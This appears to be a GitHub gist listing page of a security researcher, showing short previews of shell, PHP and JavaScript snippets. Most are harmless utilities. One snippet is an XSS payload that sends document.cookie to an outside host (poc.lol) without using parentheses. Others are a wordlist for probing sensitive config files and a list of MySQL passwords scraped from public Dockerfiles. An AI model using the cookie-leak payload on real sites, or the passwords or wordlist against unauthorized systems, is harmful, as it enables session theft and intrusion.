Skip to content

Instantly share code, notes, and snippets.

View tomnomnom's full-sized avatar
☺️
Taking it easy

TomNomNom tomnomnom

☺️
Taking it easy
View GitHub Profile
@tomnomnom
tomnomnom / bash-timestamp.sh
Created December 18, 2024 11:22
Print a grey timestamp before running bash commands
PROMPT_COMMAND='PS1_RUN_PREEXEC=1'
preexec() {
if [ -z "$PS1_RUN_PREEXEC" ]; then
return
fi
unset PS1_RUN_PREEXEC
echo $'\e[38;5;241m'"[$(date +'%Y-%m-%dT%H:%M:%S%z')]"$'\e[0m'
}
trap 'preexec' DEBUG
@tomnomnom
tomnomnom / gen.php
Last active December 4, 2024 19:20
Morse Numbers vs. Letters
<?php
// run as: php gen.php > morse.dat
// then run gnuplot morse.gnuplot
$f = new NumberFormatter("en", NumberFormatter::SPELLOUT);
for ($i = 0; $i < 5000000; $i++){
$letters = strlen(morse($f->format($i)));
$numbers = strlen((string) $i) * 5;
@tomnomnom
tomnomnom / tweet-plot-intstructions.md
Last active November 23, 2024 23:31
Plotting tweets over time

Plotting tweets with gnuplot

Guide to producing a chart like this one.

This is a bit of a hack job, natch.

Grab your Twitter archive and extract it. You need to find data/tweet-headers.js and make a copy of it:

cp data/tweet-headers.js tweets.json
@tomnomnom
tomnomnom / fetch-call-template.js
Created May 4, 2023 11:37
Calling fetch to leak cookies with template strings / no parens
Reflect.apply.call`${fetch}${window}${['https://poc.lol/?'+document.cookie]}`
https://twitter.com/intigriti/status/1399317852788830211
[][`flat`][`constructor`]`alert(document.domain)```
`${e}` => [object HTMLProgressElement]
`${[]/[]}` => NaN
`${[][[]]}` => undefined
flat
constructor
@tomnomnom
tomnomnom / short-wordlist.txt
Created September 29, 2019 19:44
short-wordlist
/.s3cfg
/phpunit.xml
/nginx.conf
/.vimrc
/LICENSE.md
/yarn.lock
/Gulpfile
/Gulpfile.js
/composer.json
/.npmignore
@tomnomnom
tomnomnom / passwords.txt
Last active February 25, 2023 20:34
MySQL Docker Passwords pulled from Dockerfile and docker-compose.yml files
0Z0mQ130F65E8wD
1QAZXsw2
3dodPaTXF5
5E84F90
5aQNxsB58752fNl
5ciuk1sy
5zkfAr9Y8k6qosP
8PuNNgp9wm2w
9Lug*96q
14mR00t
@tomnomnom
tomnomnom / gist:65322076999a30e463f24a502a59541f
Created July 8, 2019 13:45
These chars make gmail do funky stuff
plain
𝅸𝅹𝅺󠀁󠀠󠀡󠀢󠀣󠀤󠀥󠀦󠀧󠀨󠀩󠀪󠀫󠀬󠀭󠀮󠀯󠀰󠀱󠀲󠀳󠀴󠀵󠀶󠀷󠀸󠀹󠀺󠀻󠀼󠀽󠀾󠀿󠁀󠁁󠁂󠁃󠁄󠁅󠁆󠁇󠁈󠁉󠁊󠁋󠁌󠁍󠁎󠁏󠁐󠁑󠁒󠁓󠁔󠁕󠁖󠁗󠁘󠁙󠁚󠁛󠁜󠁝󠁞󠁟󠁠󠁡󠁢󠁣󠁤󠁥󠁦󠁧󠁨󠁩󠁪󠁫󠁬󠁭󠁮󠁯󠁰󠁱󠁲󠁳󠁴󠁵󠁶￾
@tomnomnom
tomnomnom / google-copy.js
Created June 19, 2019 21:27
Bookmarklet to copy URLs from a Google search results page
javascript:d=document;b=d.createElement`textarea`;c=d.getSelection();b.textContent=[...d.querySelectorAll`div.r>a:first-child`].map(n=>n.href).join`\n`;d.body.appendChild(b);c.removeAllRanges();b.select();d.execCommand`copy`;d.body.removeChild(b)
@tomnomnom
tomnomnom / presentations.sh
Created June 7, 2019 09:01
presentations.sh
#!/bin/bash
dir=$1
if [ ! -d "$dir" ]; then
echo "no dir"
exit
fi
find "$dir" -type f -name "*.pdf" | sort | while read file; do
evince -s "$file"